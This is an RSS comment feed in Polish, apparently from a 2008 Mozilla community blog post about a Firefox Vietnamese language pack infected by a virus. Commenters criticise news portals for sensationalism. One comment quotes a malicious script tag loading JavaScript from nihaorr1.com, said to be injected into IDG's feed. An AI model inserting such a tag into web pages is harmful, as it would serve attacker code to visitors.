Komentarze do: Problem z wietnamską paczką językową — jakie są fakty? http://blog.marcoos.com/2008/05/09/problem-z-wietnamska-paczka-jezykowa/ Mozilla a sprawa polska Thu, 26 Aug 2010 22:41:28 +0000 hourly 1 http://wordpress.com/ Autor: szmergiell http://blog.marcoos.com/2008/05/09/problem-z-wietnamska-paczka-jezykowa/#comment-12170 szmergiell Tue, 13 May 2008 13:05:40 +0000 http://marcoos.wordpress.com/?p=349#comment-12170 Informacja została poprawiona. Następnym razem sięgniemy do źródła. Pzdr. Informacja została poprawiona. Następnym razem sięgniemy do źródła.
Pzdr.

]]> Autor: marcoos http://blog.marcoos.com/2008/05/09/problem-z-wietnamska-paczka-jezykowa/#comment-12166 marcoos Sat, 10 May 2008 20:59:29 +0000 http://marcoos.wordpress.com/?p=349#comment-12166 ffatman: właściwym tytułem powinno być "Pliki pomocy w paczce językowej zmodyfikowane przez wirusa". Słowo "skażony" nie jest jednoznaczne. I nie ucz nas, co jest na addons.m.o, bo addons.m.o ty _my_ robimy. :) Są <a href="https://addons.mozilla.org/pl/firefox/browse/type:7" rel="nofollow">wtyczki</a>, <a href="https://addons.mozilla.org/pl/firefox/browse/type:2" rel="nofollow">motywy</a> i rozszerzenia. Wtyczki to, jak już mówiłem, binarne komponenty obsługujące specyficzne treści jak Flash, Java, PDF czy "Silberlicht". ffatman: właściwym tytułem powinno być „Pliki pomocy w paczce językowej zmodyfikowane przez wirusa”. Słowo „skażony” nie jest jednoznaczne.

I nie ucz nas, co jest na addons.m.o, bo addons.m.o ty _my_ robimy. :) Są wtyczki, motywy i rozszerzenia. Wtyczki to, jak już mówiłem, binarne komponenty obsługujące specyficzne treści jak Flash, Java, PDF czy „Silberlicht”.

]]> Autor: ffatman http://blog.marcoos.com/2008/05/09/problem-z-wietnamska-paczka-jezykowa/#comment-12165 ffatman Sat, 10 May 2008 16:52:46 +0000 http://marcoos.wordpress.com/?p=349#comment-12165 Czyli wlasciwym tytulem powinno byc (bo powinno byc krotko, po gazetowemu): "Dodatek do Firefoksa skazony przez wirusa"? @byte: A kto odroznia addons, addins, plugins etc? W addons.mozilla.org sa wtyczki. Czyli wlasciwym tytulem powinno byc (bo powinno byc krotko, po gazetowemu): „Dodatek do Firefoksa skazony przez wirusa”?

@byte: A kto odroznia addons, addins, plugins etc? W addons.mozilla.org sa wtyczki.

]]> Autor: Paweł http://blog.marcoos.com/2008/05/09/problem-z-wietnamska-paczka-jezykowa/#comment-12163 Paweł Sat, 10 May 2008 15:07:48 +0000 http://marcoos.wordpress.com/?p=349#comment-12163 Mimo wszystko, dodatek został zmodyfikowany i skanery antywirusowe tego nie wykryły. Być może w tym przypadku nic wielkiego się nie stało, ale cała sprawa pokazuje, że jednak dla chcącego (zrobić coś złego), nic "trudnego". Portale jak zwykle robią sensację, chociaż problem istnieje i moim zdaniem nie należy go bagatelizować. Mimo wszystko, dodatek został zmodyfikowany i skanery antywirusowe tego nie wykryły. Być może w tym przypadku nic wielkiego się nie stało, ale cała sprawa pokazuje, że jednak dla chcącego (zrobić coś złego), nic „trudnego”.

Portale jak zwykle robią sensację, chociaż problem istnieje i moim zdaniem nie należy go bagatelizować.

]]> Autor: Piecu http://blog.marcoos.com/2008/05/09/problem-z-wietnamska-paczka-jezykowa/#comment-12162 Piecu Sat, 10 May 2008 09:30:26 +0000 http://marcoos.wordpress.com/?p=349#comment-12162 Super tekst, ale niestety nie tylko IDG już o tym napisało... Super tekst, ale niestety nie tylko IDG już o tym napisało…

]]> Autor: Ajnsztajn http://blog.marcoos.com/2008/05/09/problem-z-wietnamska-paczka-jezykowa/#comment-12161 Ajnsztajn Sat, 10 May 2008 09:04:26 +0000 http://marcoos.wordpress.com/?p=349#comment-12161 O, kurczę, nie tylko na rssie ;) Na stronie też tego trochę jest :P A sami się wymądrzają na temat bezpieczeństwa firefoksa :P O, kurczę, nie tylko na rssie ;) Na stronie też tego trochę jest :P A sami się wymądrzają na temat bezpieczeństwa firefoksa :P

]]> Autor: Ajnsztajn http://blog.marcoos.com/2008/05/09/problem-z-wietnamska-paczka-jezykowa/#comment-12160 Ajnsztajn Sat, 10 May 2008 09:02:20 +0000 http://marcoos.wordpress.com/?p=349#comment-12160 Przepraszam za oftopic, ale... Ha, czy ktoś właśnie dokleił swój kod do rssa IDG ;D? <script src=http://www.nihaorr1.com/1.js></script&gt Przepraszam za oftopic, ale… Ha, czy ktoś właśnie dokleił swój kod do rssa IDG ;D?
<script src=http://www.nihaorr1.com/1.js></script&gt

]]> Autor: Ajnsztajn http://blog.marcoos.com/2008/05/09/problem-z-wietnamska-paczka-jezykowa/#comment-12159 Ajnsztajn Sat, 10 May 2008 08:32:08 +0000 http://marcoos.wordpress.com/?p=349#comment-12159 Cóż... ludzie lubią sensacje :P Na jakilinux.org próbowałem dementować, ale nikogo to nie interesowało, więc dałem sobie spokój :P Cóż… ludzie lubią sensacje :P Na jakilinux.org próbowałem dementować, ale nikogo to nie interesowało, więc dałem sobie spokój :P

]]> Autor: mazdac http://blog.marcoos.com/2008/05/09/problem-z-wietnamska-paczka-jezykowa/#comment-12157 mazdac Fri, 09 May 2008 21:31:42 +0000 http://marcoos.wordpress.com/?p=349#comment-12157 Dobrym zwyczajem było by pytanie osób związanych z Mozillą o stan faktyczny przed publikacją artykułu opartego o niesprawdzone źródła lub czekanie na oficjalną wiadomość, ale jak widać "pogoń za sensacją" jest ważniejsza i ciekawsza. Dobrym zwyczajem było by pytanie osób związanych z Mozillą o stan faktyczny przed publikacją artykułu opartego o niesprawdzone źródła lub czekanie na oficjalną wiadomość, ale jak widać „pogoń za sensacją” jest ważniejsza i ciekawsza.

]]> Autor: byte http://blog.marcoos.com/2008/05/09/problem-z-wietnamska-paczka-jezykowa/#comment-12156 byte Fri, 09 May 2008 21:29:47 +0000 http://marcoos.wordpress.com/?p=349#comment-12156 To oni w tym IDG jeszcze nie rozróżniają dodatku od wtyczki? I biorą za to pieniądze? Szacun. To oni w tym IDG jeszcze nie rozróżniają dodatku od wtyczki? I biorą za to pieniądze?

Szacun.

]]>